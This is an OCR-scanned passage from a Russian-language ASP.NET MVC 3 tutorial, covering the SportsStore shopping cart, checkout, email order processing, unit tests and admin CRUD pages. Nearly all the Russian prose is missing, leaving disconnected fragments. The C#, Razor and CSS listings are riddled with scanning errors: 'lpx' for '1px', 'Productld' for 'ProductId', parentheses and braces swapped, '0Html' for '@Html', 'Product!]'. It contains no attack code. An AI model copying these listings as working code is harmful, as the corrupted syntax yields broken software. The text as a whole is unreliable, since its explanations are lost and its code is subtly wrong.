2 ( margin-top: 0. }
TFOOT TD { border-top: lpx dotted gray; font-weight: bold; }
.actionButtons A, INPUT.actionButtons {
font: .8emArial; color: White; margin: .5em;
text-decoration: none; padding: .15em 1.5em .2em 1.5em;
background-color: #353535; border: lpx solid black;

1
. Add
to c a r t
(. 8.1 0 ). C o n tin u e
s h o p p in g ( ) ,

. 8 .1 0 .

8. SportsStore:

205

- .
.
.
Cart.


MVC Framework
C# HTTP
. MVC , , .


.
C# ,
. MVC Framework.
, CartController.
Cart
Cart, ,
. ,
.
CartController ,
Session , Controller
, .
,
Cart . MVC
Framework Cart
CartController.
. 17,
.



IModelBinder. Binders SportsStore.WebUI
CartModelBinder .

8.21.

8.21. C a r t M o d e lB in d e r
using System;
using System.Web.Mvc;
using SportsStore.Domain.Entities;
namespace SportsStore.WebUI.Binders (
public class CartModelBinder : IModelBinder {
private const string sessionKey = "Cart";
public object BindModel(ControllerContext controllerContext,
ModelBindingContext bindingContext) {
// Cart
Cart cart = (Cart)controllerContext.HttpContext.Session[sessionKey];
// Cart,
if (cart == null) (
cart = new C a r t O ;

206

I. ASP.NET MVC 3
controllerContext.HttpContext.Session[sessionKey] = cart;

}
// cart
return cart;
}
}

IM odelBinder : BindModel.
,
. ControllerContext
, , .
ModelBindingContext , ,
.
17.
ControllerContext.
HttpContext, , , Session,
. Cart
Cart, ,
.
MVC Framework ,
C a r t M o d e l B i n d e r Cart.
Application_Start Global.asax (. 8.22).

8.22. C a r t M o d e lB in d e r
protected void Application__Start () {
AreaRegistration.RegisterAllAreas();
RegisterGlobalFilters (GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
ControllerBuilder.Current.SetControllerFactory(new NinjectControllerFactory());
ModelBinders.Binders.Add(typeof(Cart), new CartModelBinder());

}
CartController,
GetCart . 8.23
.

8.23. C a r t C o n t r o l l e r
using
using
using
using
using

System.Linq;
System.Web.Mvc;
SportsStore.Domain.Abstract;
SportsStore.Domain.Entities;
SportsStore.WebUI.Models;

namespace SportsStore.W e b U I .Controllers {


public class CartController : Controller {
private IProductRepository repository;
public CartController(IProductRepository repo)
repository = repo;

8. SportsStore:

207

public RedirectToRouteResult AddToCart(Cart cart, int productld, string returnUrl)

(
Product product = repository.Products
.FirstOrDefault (p => p.ProductID == productld) ;
if (product != null) {
cart.Addltem(product, 1);

}
return RedirectToAction("Index", new ( returnUrl });

}
public RedirectToRouteResult RemoveFromCart(Cart cart,
int productld, string returnUrl) (
Product product = repository.Products
.FirstOrDefault (p => p.ProductID == productld);
if (product != null) (
cart.RemoveLine(product);

)
return RedirectToAction("Index", new { returnUrl ));

)
public ViewResult I n d e x (Cart cart, string returnUrl)
return View(new CartlndexViewModel (
Cart = cart,
ReturnUrl = returnUrl

)) ;
)
)
GetCart Cart .
MVC Framework , , ,
AddToCart, .
,
.
Cart, ,
.
MVC Framework , .
, ,
Cart, .

. Cart
, Cart
.
, ,
Cart,
. ,
, ,
Cart
ASP.NET.

208

I. ASP.NET MVC 3

: C a r t
CartController
Cart .
.
A d d T o C a r t .

Index.

Index URL,
.
.
[TestMethod]
public void Can_Add_To_Cart() {
/ /
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI", Category = "Apples"),
).AsQueryable ());
// Cart
Cart cart = new Cart();
//
CartController target = new CartController(mock.Object);
//
target.AddToCart (cart, 1, null);
//
A ss e r t .AreEqual(cart.Lines.C o u n t (), 1) ;
A s s e r t .AreEqual(cart.Lin e s .ToArray() [0] .Product.ProductID, 1) ;
)
[TestMethod]
public void Adding_Product_To_Cart_Goes_To_Cart_Screen () (
//
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product!] (
new Product (ProductID = 1, Name = "PI", Category = "Apples"),
} .AsQueryable());
II Cart
Cart cart = new Cart();
//
CartController target = new CartController(mock.Object);
// -
RedirectToRouteResult result = target.AddToCart(cart, 2, "myUrl");
//
Assert.AreEqual(result.RouteValues["action"], "Index");
Assert.AreEqual(result.RouteValues["returnUrl"], "myUrl");
}
[TestMethod]
public void Can_View_Cart_Contents () {
// Cart

8. SportsStore:

209

Cart cart = new Cart ;


//
CartController target = new CartController(null);
// Index
CartlndexViewModel result
= (CartlndexViewModel)target.Index(cart, "myUrl").ViewData.Model;
//
Assert.AreSame(result.Cart, cart);
Assert.AreEqual(result.ReturnUrl, "myUrl");



, .
.
.


RemoveFromCart ,

,
Remove () . ,
Views/Cart/Index.cshtml, 8.24.

8.24. Remove
<td align="right" > 0 ((line.Quantity * line.Product.Price).ToString(""))</td>
<td>
0using (Html.BeginForm("RemoveFromCart", "Cart")) {
0Ht m l .H i d d e n ("Productld", l i n e .Product.ProductID)
0Html.HiddenFor(x => x.ReturnUrl)
<input class="actionButtons" type="submit" value="Remove" />

}
</td>

! ReturnUrl ,
Html.HiddenFor,
ProductID ( ),
Html.Hidden. Html.HiddenFor( => line.Product.
ProductID), line.Product.
ProductID.
CartController.RemoveFromCart,
, a MVC Framework .

Remove , ,
Remove.
. 8.11.

210

I. ASP.NET MVC 3

. 8.11.


,
. ,
, .
.
(.. )
,
. ,
,
Razor.
CartController ,
8.25.

8.25. Summary

public ViewResult Summary(Cart cart) {


return View(cart);
}

, . ,
Cart (
).
, Summary.
Summary
Add View ( ). Summary,
Create a Strongly-typed view (
) Cart , . 8.12.
, ,
Create as a partial view ( ).
8.26.

8.26. Summary
0model SportsStore. D om ain .E ntities. Cart
@{

Layout = null;
}

8. SportsStore:

211

<div id="cart">
<span class="caption">
<b>Your cart:</b>
0Model.Lin e s .Sum(x => x.Quantity) item(s),
0Model.ComputeTotalVaiue () .ToString("c")
</span>
0Html.ActionLink("Checkout", "Index", "Cart",
new { returnUrl = Request.U r l .PathAndQuery }, null)
</div>

. 8.12. Summary
,
.
, Summary,
_Layout.cshtml, 8.27.

8.27.

<body>
<div id="header">
@{Html.RenderAction("Summary", "Cart");}
<div class="title">SPORTS STORE</div>
</div>
<div id="categories">
0{ Html.RenderAction("Menu", "Nav"); }

212

I. ASP.NET MVC 3

C S S
.
8.28 Site.css SportsStore.WebUI.

8.28. S i t e . c s s
DIV#cart { float:right; margin: .8em; color: Silver;
background-color: #555; padding: .5em .5em .5em lem; }
DIV#cart A { text-decoration: none; padding: .4em lem ,4em lem; line-height:2.lem;
margin-left: .5em; background-color: #333; color:White; border: lpx solid black;)
, .
, ,
. 8.13.

. 8 .1 3 .
, ,
, .
, RenderAction
-.
.


, SportsStore:
.
,
.


ShippingDetails Entities SportsStore.
Domain.
. ShippingDetails 8.29.

8.29. S h i p p i n g D e t a i l s
using System.ComponentModel.DataAnnotations;
namespace SportsStore.Domain.Entities {
public class ShippingDetails {
[Required(ErrorMessage = "Please enter a name")]
//
public string Name { get; set; }
[Required(ErrorMessage = "Please enter the first address line")]

8. SportsStore:

213

//
public string Linel { get; set; }
public string Line2 { get; set; }
public string Line3 { get; set; }
[Required(ErrorMessage = "Please enter a city name")]
//
public string City { get; set; }
[Required(ErrorMessage = "Please enter a state name")]
//
public string State ( get; set; }
public string Zip { get; set; }
[Required(ErrorMessage = "Please enter a country name")]
//
public string Country ( get; set; }
public bool GiftWrap ( get; set; }
)
)

___________________________________________________

8 .2 9
System.ComponentModel.DataAnnotations, 3.
, SportsStore.Domain
.
18.
! ShippingDetails ,
.


,
.
Checkout now ( ). ,
Views/Cart/Index.cshtml, 8.30.

8.30. Checkout now


</table>
< align="center" class="actionButtons">
<a href="@Model,ReturnUrl">Continue shopping</a>
@Html.ActionLink("Checkout now", "Checkout")
</p>
,
Checkout Cart. . 8.1 4 ,
. , CartController
Checkout, 8.31.

8.31. C h e c k o u t
public ViewResult Checkout!) {
return View(new ShippingDetails ());

214

I. ASP.NET MVC 3

. 8.14. Checkout now


Checkout ,
ShippingDetails .
Checkout,
Add View ( )
Add View, . 8.15.
ShippingDetails
. Use a layout or master page (
-), ,
.

. 8.15. Checkout
8.32.

8. SportsStore:

215

8.32. C h e c k o u t .c s h t m l
0model SportsStore.Domain.Entities.ShippingDetails
0{
ViewBag.Title = "SportStore: Checkout";

}
<h2>Check out now</h2>
Please enter your details, and we'll ship your goods right away!
0using (Html.BeginForm ()) (
<h3>Ship to</h3>
<div>Name: 0Html.EditorFor(x => x .Name)</div>
<h3>Address</h3>
<div>Line 1: @Html.EditorFor(x => x .Linel)</div>
<div>Line 2: 0Html.EditorFor (x => x .Line2)</div>
<div>Line 3: 0Html.EditorFor (x => x .Line3)</div>
<div>City: 0Html.EditorFor(x => x .City)</div>
<div>State: QHtml.EditorFor (x => x .State)</div>
<div>Zip: 0Ht m l .EditorFor(x => x.Zip)</div>
<div>Country: @Html.EditorFor (x => x .Country)</div>
<h3>Options</h3>
<label>
OHtml.EditorFor(x => x.GiftWrap)
Gift wrap these items
</label>
<p align="center">
<input class="actionButtons" type="submit" value="Complete order" />
</p>

, ,
, C h e c k o u t now
( ). . 8.16 ,
.

. 8.16.

216

I. ASP.NET MVC 3

in p u t ,
H tm l.E ditorF or.
. MVC Framework ,
in pu t ,
( , , Html.TextBoxFor).

16, . 8.16 , MVC Framework
, b o o l ( G ift w ra p th e se
ite m s ( )) .
.
H tm l.EditorForM odel,
S h ip p in g D eta ils .
, ,
, .


,
. MVC,
,
DI (Ninject).


IO rd e rP ro c e s s o r A b s t r a c t
SportsStore.D om ain 8.33.
8.33. I O r d e r P r o c e s s o r
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Abstract {
public interface IOrderProcessor (
void ProcessOrder(Cart cart, ShippingDetails shippingDetails);
}
}


IO r d e r P ro c e s s o r ,
. ,
.
,
.
MVC, .
E m a ilO rd erP ro cess or C on crete
SportsStore.D om ain 8.34.

SMTP, .NET Framework.

217

8. S portsS tore:

8.34. E m a ilO r d e r P r o c e s s o r
using
using
using
using
using

System.Net.Mail;
System.Text;
SportsStore.Domain.Abstract;
SportsStore.Domain.Entities;
System.Net;

namespace SportsStore.Domain.Concrete {
public class EmailSettings {
public string MailToAddress = "orders@example.com";
public string MailFromAddress = "sportsstore@example.com";
public bool UseSsl = true;
public string Username = "MySmtpUsername";
public string Password = "MySmtpPassword";
public string ServerName = "smtp.example.com";
public int ServerPort = 587;
public bool WriteAsFile = false;
public string FileLocation = @" c :\sports_store__emails";

)
public class EmailOrderProcessor :IOrderProcessor {
private EmailSettings emailSettings;
public EmailOrderProcessor(EmailSettings settings)
emailSettings = settings;

}
public void ProcessOrder(Cart cart, ShippingDetails shippinglnfo)

using (var smtpClient = new SmtpClient ()) {


smtpClient.EnableSsl = emailSettings.UseSsl;
smtpClient.Host = emailSettings.ServerName;
smtpClient.Port = emailSettings.ServerPort;
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials
= new NetworkCredential(emailSettings.Username, emailSettings.Password);
if (emailSettings.WriteAsFile) (
smtpClient.DeliveryMethod
= SmtpDeliveryMethod.SpecifiedPickupDirectory;
smtpClient.PickupDirectoryLocation
= emailSettings.FileLocation;
smtpClient.EnableSsl = false;

}
StringBuilder body = new StringBuilder()
.AppendLine("A new order has been submitted")
.AppendLine("---")
.AppendLine("Items:");
foreach (var line in cart.Lines) (
var subtotal = li ne .Product.Price * lin e .Quantity;
b o d y .AppendFormat("{0} x (1) (subtotal: {2:c}", lin e.Quantity,
li ne .Product.Name,
subtotal);

}
body.AppendFormat("Total order value: {0:c}",
c a r t .ComputeTotalValue ())

218

I. ASP.NET MVC 3
.AppendLine("-- ")
.AppendLine("Ship to:")
.AppendLine(shippinglnf .Name)
.AppendLine(shippinglnf .Linel)
.AppendLine(shippinglnfo.Line2 ?? "")
.AppendLine(shippinglnfo.Line3 ?? "")
.AppendLine(shippinglnfo.City)
.AppendLine(shippinglnfo.State ?? "")
.AppendLine(shippinglnfo.Country)
.AppendLine(shippinglnfo.Zip)
.AppendLine("-- ")
.AppendFormat("Gift wrap: (0)", shippinglnfo.GiftWrap ? "Yes" : "No");
MaiiMessage mailMessage = new MaiiMessage(
emaiiSettings.MailFromAddress,
//
emaiiSettings.MailToAddress,
//
"New order submitted!",
//
b o d y .ToString());
//
if (emaiiSettings.WriteAsFile) (
mailMessage.BodyEncoding = E ncoding.ASCII;

)
smtpClient.Send(mailMessage);
}

EmailSettings 8.34.
EmailOrderProcessor
, .NET,
.
. , SMTP .
EmailSettings.WriteAsFile true,
, FileLocation.
. .eml
.


IOrderP r o c e s s o r ,
Ninject .
NinjectControllerFactory SportsStore .WebUI, AddBindings
, 8.35.
8.35. Ninject I O r d e r P r o c e s s o r
private void AddBindings () {
//
ninjectKernel.Bind<IProductRepository> () .To<EFProductRepository> ();
EmailSettings emailSettings = new EmailSettings {
WriteAsFile = b o o l .Parse(ConfigurationManager.
AppSettings["Email.WriteAsFile"] ?? "false")

};
ninjectKernel.Bind<IOrderProcessor>()
.To<EmailOrderProcessor>().WithConstructorArgument("settings", emailSettings);

8. SportsStore:

219

E m a i l S e t t i n g s , Ninject-
W i t h C o n s t r u c t o r A r g u m e n t ,
EmailOrderProcessor,
IOrderProcessor. 8.35
EmailSettings WriteAsFile.
ConfigurationManager.AppSettings,
, Web.config (
) 8.36.

8.36. W e b .c o n fig
<appSettings>
<add key="ClientValidationEnabled" value="true"/>
O d d key="UnobtrusiveJavaScriptEnabled" value="true"/>
<add key="Email.WriteAsFile" value="true"/>
</appSettings>

C a r t
CartController ,
IOrderProcessor,
, POST ,
Complete order ( ). 8.37.

8.37. C a r t C o n t r o l l e r
using System.Linq;
using System.Web.Mvc;
using SportsStore.Domain.Abstract;
using SportsStore.Domain.Entities;
using SportsStore.W e b U I .Models;
namespace SportsStore.W e b U I .Controllers {
public class CartController : Controller {
private IProductRepository repository;
private IOrderProcessor orderProcessor;
public CartController(IProductRepository repo, IOrderProcessor proc)
repository = repo;
orderProcessor = proc;

}
[HttpPost]
public ViewResult Checkout(Cart cart, ShippingDetails shippingDetails)
if (cart.Lines.Count() == 0) {
ModelState.AddModelError("", "Sorry, your cart is empty!");

>
if (ModelState.IsValid) {
orderProcessor.ProcessOrder(cart, shippingDetails);
c a r t .C l e a r ();
return View("Completed");
} else {
return View(shippingDetails);

>
}
public ViewResult Checkout() {
return View(new ShippingDetails ());

)
... ...

220

I. ASP.NET MVC 3

, Checkout
HttpPost, , POST ,
.
ShippingDetails (
) Cart (
).
! ,
CartController. null
.

MVC Framework ,
ShippingDetails
8.29,
ModelState.
ModelState.IsValid. ModelState.AddModelError
, .
, ,
17 18.

:
CartController,
Checkout.
, MVC Framework ,
, .
, ,
.
. .
[TestMethod]
public void Cannot_Checkout_Empty_Cart() {
//
Mock<IOrderProcessor> mock = new Mock<IOrderProcessor> ();
// -
Cart cart = new Cart();
//
ShippingDetails ShippingDetails = new ShippingDetails ;
//
CartController target = new CartController(null, m o c k .Object);
//
ViewResult result = target.Checkout(cart, shippingDetails);
// ,
mock.Verify (m => m. ProcessOrder(It.IsAny<Cart>(), It.IsAny<ShippingDetails> ()),
Tim e s .N e v e r () ) ;
// ,
Ass e r t .AreE q u a l ("", result.ViewName);
// - ,
Ass e r t .AreEqual(false, result.ViewData.ModelState.IsValid) ;

}
.
, ProcessOrder IOrderProcessor
, (

8. SportsStore:

221

, , ), ,
, .
,
. ,
, , (
, ).
[TestMethod]
public void Cannot_Checkout_Invalid_ShippingDetails() {
//
Mock<IOrderProcessor> mock = new Mock<IOrderProcessor> ();
//
Cart cart = new Cart();
car t .Addltem(new Product!), 1);
// -
CartController target = new CartController(null, m o c k .Object);
//
target.ModelState.AddModelError("error", "error");
//
ViewResult result = target.Checkout(cart, new ShippingDetails());
// ,
mock.Verify(m => m.ProcessOrder(I t .IsAny<Cart> (),
I t .IsAny<ShippingDetails>()), Times.N e v e r ());
// - ,
Ass e r t .A r e E q u a l ("", result.ViewName);
// - ,
Assert.AreEqual(false, result.Viewdata.ModelState.IsValid);

)
,
, ,
. .
[TestMethod]
public void Can_Checkout_And__Submit_Order() {
//
Mock<IOrderProcessor> mock = new Mock<IOrderProcessor>();
//
Cart cart = new Cart();
cart.Addltem(new Product(), 1);
//
CartController target = new CartController(null, m o c k .Object);
// -
ViewResult result = target.Checkout(cart, new ShippingDetails ()) ;
// - ,
mock.Verify(m => m.ProcessOrder(I t .IsAny<Cart>(),
I t .IsAny<ShippingDetails> ()), Times.O n c e ());
// - , Completed
Asse r t .AreE q u a l ("Completed", result.ViewName);
// - ,
Asse r t .AreEqual(true, result.ViewData.ModelState.IsValid);

}
,
. ,
ShippingDetails.

222

I. ASP.NET MVC 3


, ,
, , .
,
, .
,
, , 3.
Checkout.cshtm l 8.38.

8.38.
<h2>Check out now</h2>
Please enter your details, and we'll ship your goods right away!
@using (Html.B eginForm()) {
@Html.ValidationSummary()
< h 3 > S h ip t o < / h 3 >

<div>Name: @Html.EditorFor(x => x.Name)</div>

,
,
, . 8.17.

. 8.17.


,
.
Checkout C a rtC o n tro lle r
Add View ( ).
Completed, . 8.18.

8. SportsStore:

223

. 8.18. Completed
,

. ,
. Add
(), ,
8.39.

8.39. C o m p le te d .c s h tm l
@{

ViewBag.Title = "SportsStore: Order Submitted";

}
<h2>Thanks!</h2>
Thanks for placing your order. We'll ship your goods as soon as possible.

,
. ,
( ), C o m p le te o rd e r (
) , . 8.19.

. 8 .1 9 .

224

I. ASP.NET MVC 3

SportsStore,
. , Amazon ,
,
.
,
,
- . , ,
, ,
.
SportsStore,
, , ,
.

SportsStore:

, SportsStore,
.
,
, . ,

, ,
,
, .



: ,
. 9.1.

. 9.1. CRUD
, ,
. 7,
CRUD. C R U D ,
Visual Studio , MVC.
C R U D
.

8 . 4039

226

I. ASP.NET MVC 3

CRUD
.
C o n tr o lle r s SportsStore.W ebU I
Add^Controller (^).
Add Controller ( )
A d m in C o n tro lle r, Template ( )
Controller with empty read/write actions (
/), . 9.2.

. 9.2. A d d C o n tro lle r


A d d () . ,
, 9.1.

9.1. CRUD Visual Studio


using System.Web.Mvc;
namespace SportsStore.W e b U I .Controllers (
public class AdminController : Controller {
public ActionResult Index () { return View(); }
public ActionResult Details(int id) { return View();}
public ActionResult Create!) { return View();)
[HttpPost]
public ActionResult Create(FormCollection collection)
try {
// TODO:
return RedirectToAction("Index");
) catch (
return V i e w ();
}
)
public ActionResult Edit(int id) { return View();}

9. SportsStore:
[HttpPost]
public ActionResult Edit(int id, FormCollection collection)
try {
// TODO:
return RedirectToAction("Index");
} catch {
return View ();

227

)
}
public ActionResult Delete(int id) { return View();}
[HttpPost]
public ActionResult Delete(int id, FormCollection collection)
try {
// TODO:
return RedirectToAction ("Index");
} catch {
return V i e w ();

}
}
}
}
CRUD, Visual Studio .
SportsStore,
. , ,
.
, 9.2.

9.2. A d m in C o n t r o lle r
using System.Web.Mvc;
using SportsStore.Domain.Abstract;
namespace SportsStore.WebUI.Controllers {
public class AdminController : Controller {
private IProductRepository repository;
public AdminController(IProductRepository repo)
repository = repo;

}
}


, . 9.1,
, .
MVC Framework, Index. ,
9.3.

9.3. In d e x
using System.Web.Mvc;
using SportsStore.Domain.Abstract;

228

I. ASP.NET MVC 3

namespace SportsStore.WebUI.Controllers {
public class AdminController : Controller (
private IProductRepository repository;
public AdminController(IProductRepository repo)
repository = repo;

}
public ViewResult I n d e x () {
return View(repository.Products);

}
}
}

: In d ex
I n d e x , P r o d u c t,
. , -
, .
.
[TestMethod]
public void Index_Contains_All_Products() (
//
Mock<IProductRepository> mock = new Mock<IProductRepository>() ;
mock.Setup(m => m.Products).Returns(new Product!] {
new Product (ProductID = 1, Name = "PI"},
new Product (ProductID = 2, Name = "P2"),
new Product (ProductID = 3, Name = "P3">,
}.AsQueryable ());
//
AdminController target = new AdminController(mock.Object);
//
Product[] result =
((IEnumerable<Product>)target.Index().ViewData.Model).ToArray();
//
Assert.AreEqual(result.Length, 3);
Assert.AreEqual("PI", result[0].Name);
Assert.AreEqual ("P2", result[1].Name);
Assert.AreEqual ("P3", result[2] .Name);


SportsStore
Razor. ,
,
.
, V ie w s /S h a re d
S p o r t s S t o r e .W ebU I A d d ^ N e w Item
(^ ). MVC 3 Layout Page (Razor)
( MVC 3 (Razor)) _ A d m in L a y o u t:. c s h t m l
(. 9.3). A dd (), .

9. SportsStore:

229

. 9 .3 . Razor
(_).
Razor Microsoft
WebMatrix,
. M V C ,

M V C . CSS,
9.4.

9.4. _ A d m in L a y o u t .c s h t m l
<!DOCTYPE html>
<html>
<head>
<title>0ViewBag.Title</title>
<Iink href="@Url.Content("~/Content/Admin.css")" rel="stylesheet" type="text/css" />
</head>
<body>
<div>
0RenderBody()
</div>
</body>
</html>
( ) C S S
A dm in .css Content. A d m in .c ss
Content, A d d ^ N e w Item
(^ ) S ty le S h e e t ( ),
Admin.css (. 9.4).
Admin.css 9.5.

9.5. CSS
BODY, TD ( font-family: Segoe UI, Verdana }
HI { padding: .5em; padding-top: 0; font-weight: bold;
font-size: 1.5em; border-bottom: 2px solid gray; }
DIV#content { padding: .9em; }
TABLE.Grid TD, TABLE.Grid TH ( border-bottom: lpx dotted gray; text-align:left; }
TABLE.Grid { border-collapse: collapse; width:100%; }

230

I. ASP.NET MVC 3

TABLE.Grid T H .NumericCol, Table.Grid TD.NumericCol {


text-align: right; padding-right: lem; }
FORM {margin-bottom: Opx;
}
DIV.Message { background: gray; color:White; padding: ,2em; margin-top:.25em; }
.field-validation-error ( color: red; display: block; }
.field-validation-valid ( display: none; }
.input-validation-error { border: lpx solid red; background-color: #ffeeee; }
.validation-summary-errors { font-weight: bold; color: red; }
.validation-summary-valid { display: none; }

. 9 .4 . Admin.css


, ,
In d ex Admin.
In d ex A d d V ie w (
). Index (. 9.5).

. 9 .5 . Index

9. SportsStore:

231

(scaffold view),
Visual Studio ,
, , ,
. . Product M o d e l cla s s (
) List S c a ffo ld te m p la te ( ),
. 9.5.
! List Visual Studio
, lEnumerable ,
.

,
Use a la yo u t o r m a s te r p a g e ( -)

_Adm inLayout.cshtm l Views/Shared.


Add (), . Visual Studio
, 9.6.

9.6.
_____________________ ---------------------------------------------------------------------------------------------------------------------------- ------ --------

Smodel IEnumerable<SportsStore.Domain.Entities.Product>
0{

ViewBag.Title = "Index";
Layout = "~/Views/Shared/_AdminLayout.cshtml";

1
<h2>lndex</h2>
<P>
SHtml.ActionLink("Create New", "Create")
</p>
<table>
<tr>

<th x/th>
<th>Name</th>
<th>Description</th>
<th>Price</th>
<th>Category</th>
</tr>
@foreach (var item in Model) {
< t r>
<td>
SHtml.ActionLink("Edit", "Edit", new { id=item.ProductlD }) |
SHtml.ActionLink("Details", "Details", new ( id=item.ProductlD }) |
SHtml.ActionLink("Delete", "Delete", new { id=item.ProductlD })
</td>
<td>@item.Name</td>
<td>@item.Description</td>
<td>@String.Format("{0:F} ", item.Price)</td>
<td>@item.Category</td>
</tr>
</table>

, ,
U R L Admin/Index (. 9.6).

232

I. ASP.NET MVC 3

. 9 .6 .

.
Product CRUD,
. ,
. , -
CSS. Index.cshtml 9.7.
9.7. I n d e x . c s h tm l
gmodel IEnumerable<SportsStore.Domain.Entities.Product>
@(

ViewBag.Title = "Admin: All Products";


Layout = "~/Views/Shared/_AdminLayout.cshtml";
}
<hl>All Products</hl>
<table class="Grid">
< tr >
<th>ID</th>
<th>Name</th>
<th class="NumericCol">Price</th>
<th>Actions</th>
< /1 r >
Sforeach (var item in Model) {
<tr>
<td>@item.ProductID</td>
<td>@Html.ActionLink(item.Name, "Edit", new { item.ProductlD ))</td>
<td class="NumericCol">@item.Price.ToString("c")</td>
<td>
Susing (Html.BeginForm("Delete", "Admin")) {
SHt m l .H i d d e n ("ProductlD", item.ProductlD)
<input type="submit" value="Delete"/>
)
</td>
</tr>

t
</table>
<p>0Html.ActionLink("Add a new product", "Create")</p>

9. SportsStore:

2 33

,
P rod u ct
. . 9.7.

. 9.7 . In d e x

.
, ,
.
.



, . 9.1. :
,
;
, ,
.

Edit
9.8 Edit,
AdminController.
Html.ActionLink Index.

9.8. E d i t
public ViewResult Edit(int productld) (
Product product =
repository.Products.FirstOrDefault(p => p.ProductID == productld);
return View(product);
)

,
productld, .

234

I. ASP.NET MVC 3

: Edit
E d i t . ,
,
. , , , .
,
, . .
[TestMethod]
public void Can_Edit_Product() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductlD = 1, Name = "PI"},
new Product {ProductlD = 2, Name = "P2"),
new Product {ProductlD = 3, Name = "P3"),
} .AsQueryable() ) ;
// -
AdminController target = new AdminController(mock.Object);
//
Product pi = target.E d i t (1).ViewData.Model as Product;
Product p2 = target.Edit (2) .ViewData.Model as Product;
Product p3 = target.Edit(3).ViewData.Model as Product;
//
Assert.AreEqual(1, p i .ProductlD);
Assert.AreEqual(2, p 2 .ProductlD);
Assert.AreEqual(3, p 3 .ProductlD);

}
[TestMethod]
public void Cannot_Edit_Nonexistent_Product() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product!] {
new Product {ProductlD = 1, Name = "PI"},
new Product {ProductlD = 2, Name = "P2"},
new Product {ProductlD = 3, Name = "P3"},
} .AsQueryable()) ;
// -
AdminController target = new AdminController(mock.Object);
//
Product result = (Product)target.E d i t (4).ViewData.Model;
//
A s s e r t .IsNu11 (result);

E d it
, .
Edit
Add View ( ). Edit,
Create a strongly-typed view ( )
, Model class ( ) Product
(. 9.8).

9. SportsStore:

235

. 9.8 . E d i t

CRUD- Edit ,
, , Visual Studio.
, S c a ffo ld te m p la te (
) E m p ty ().
Use a la yo u t o r m a s te r p a g e ( -)
AdminLayout.cshtml.
A d d () ,
Views/Admin. 9.9.

9.9. E d i t
0model SportsStore.Doma i n .Entities.Product
0{

ViewBag.Title = "Admin: Edit " + 0Model.Name;


Layout = "~/Views/Shared/_AdminLayout.cshtml";
}
<hl>Edit 0Model.Name</hl>
0using (Html.B eginForm()) {
0Html.EditorForModel()
<input type="submit" value="Save" />
0Html.ActionLink("Cancel and return to List", "Index")
}


Html.EditorForModel.
MVC Framework,
, Product.

236

I. ASP.NET MVC 3

, E d it,
URL /Admin/Index.
, . 9.9.

. 9.9. ,

EditorForModel

, E d i t o r F o r M o d e l ,
.
P r o d u c t I D . . ,
D e s c r i p t i o n .
MVC Framework, ,
.
, H t m l . E d i t o r F o r M o d e l . 9.10
, P r o d u c t S p o r t s S t o r e . D o m a i n .

9.10.
u s i n g S y ste m .C o m p o n e n tM o de l. D a t a A n n o ta tio n s ;
u sin g S y s t e m .W e b . Mvc;
namespace S p o r t s S t o r e . D o m a in .E n t it ie s
public

class

Product

[Hiddenlnput(DisplayValue=false)]
public

int

public

string

ProductID
Name

{ get;

{ get;

set;

set;

[DataType(DataType.MultilineText)]

}
)

public

string

p ublic

d ecim al

p ublic

string

Description
Price

{ get;

Category

{ get;
set;

{ get;

set;
}

set;

9. SportsStore:

237

Hiddenlnput MVC Framework ,


, DataType
, .
MultilineText. Hiddenlnput
System.Web.Mvc,
SportsStore.Domain System.Web.Mvc.
System.ComponentModel.DataAnnotations,
MVC.
. 9.10 Edit .
, Productld ,
. ,
.

. 9.10.
CSS. MVC
Framework ,
CSS. , . 9.10,
, textarea, ,
CSS- "text-box multi-line":
<div class="editor-field">
ctextarea class="text-box multi-line" id="Description"
name="Description ">... . ..</textarea>

Edit, 9.11
Admin.css, Content SportsStore.WebUI.

9.11. CSS
.editor-field { margin-bottom: .8em; }
.editor-label { font-weight: bold; )
.editor-label:after { content:
}
.text-box { width: 2 5em; }
.multi-line { height: 5em; font-family: Segoe UI, Verdana;

238

I. ASP.NET MVC 3

E d it
. 9.11.

. 9.11. CSS-
- ,

.
, ,
E ditorF orM odel,
.
16.


,
, .
, IP ro d u ctR ep o sitory,
9.12.

9.12.
using System.Linq;
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Abstract {
public interface IProductRepository {
IQueryable<Product> Products ( get; }
void SaveProduct(Product product);

}
)

Entity Framework
E F Produ ctR ep ository (. 9.13).

9. SportsStore:

239

9.13. S a v e P ro d u c t
using System.Linq;
using SportsStore.Domain.Abstract;
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Concrete {
public class EFProductRepository : IProductRepository {
private EFDbContext context = new EFDbContext ();
public IQueryable<Product> Products {
get { return context.Products; }

)
public void SaveProduct(Product product)
if (product.ProductID == 0) {
context.Products.Add(product);

}
context.SaveChanges();

}
}

S a v e C h a n g e s ,
ProductID 0;
.

POST Edit

Edit, POST,

Save (). ,
9.14.

9.14. E d i t ,
POST
[HttpPost]
public ActionResult Edit(Product product) (
if (ModelState.IsValid) {
repository.SaveProduct(product);
TempData["message"] = string.Format("{0} has been saved", product.Name);
return RedirectToAction("Index");
} else (
// - ,
return View(product);

, ,
. ,
Index
. ,
Edit, .
TempData .
TempData /,
ViewBag. , HTTP- TempData
. , Edit ActionResult.

240

I. ASP.NET MVC 3

ViewResult.
ActionResult, , ,
. ActionResult,
RedirectToAction. Edit
Index.
ViewBag,
. ViewBag
, , . ,
, .
, TempData .
( TempData )
, . ,
, .

: ,
Edit, POST, ,
Product,
. , ,
. .
[TestMethod]
public void Can_Save__Valid__Changes () {
// -

Mock<IProductRepository> mock = new Mock<IProductRepository> ();


// -
AdminController target = new AdminController(mock.Object);
//
Product product = new Product {Name = "Test"};
//
ActionResult result = target.Edit(product);
// ,
mock.Verify(m => m.SaveProduct(product));
// -
Asse r t .IsNotlnstanceOfType(result, typeof(ViewResult));
}
[TestMethod]
public void Cannot_Save Invalid_Changes() {
// -

Mock<IProductRepository> mock = new Mock<IProductRepository>();


// -
AdminController target = new AdminController(mock.Object);
// -
Product product = new Product { Name = "Test" };
//
target.ModeIState.AddModelError("error", "error");
// -
